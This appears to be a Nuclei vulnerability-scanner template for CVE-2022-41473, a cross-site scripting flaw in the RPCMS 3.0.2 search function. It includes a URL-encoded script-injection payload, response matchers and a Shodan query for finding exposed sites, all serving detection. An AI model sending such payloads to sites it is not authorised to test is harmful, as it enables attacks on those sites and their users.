id: CVE-2022-41473 info: name: RPCMS 3.0.2 - Cross-Site Scripting author: arafatansari severity: medium description: | RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Apply the latest security patch or upgrade to a newer version of RPCMS to mitigate the XSS vulnerability. reference: - https://github.com/ralap-z/rpcms/issues/1 - https://nvd.nist.gov/vuln/detail/CVE-2022-41473 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-41473 cwe-id: CWE-79 epss-score: 0.01566 epss-percentile: 0.85808 cpe: cpe:2.3:a:rpcms:rpcms:3.0.2:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: 'rpcms' product: 'rpcms' shodan-query: http.html:"RPCMS" tags: cve,cve2022,rpcms,xss http: - method: GET path: - "{{BaseURL}}/search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" matchers-condition: and matchers: - type: word part: body words: - '' - 'rpcms' condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100a2b40237898e5b2a45ef4724bce696db119fbc82dbf3016871759e126cbc550a022023cb798f9328fff56b702e5e1a86145bbe766a7907ea67f54c1ccdacae44c248:922c64590222798bb761d5b6d8e72950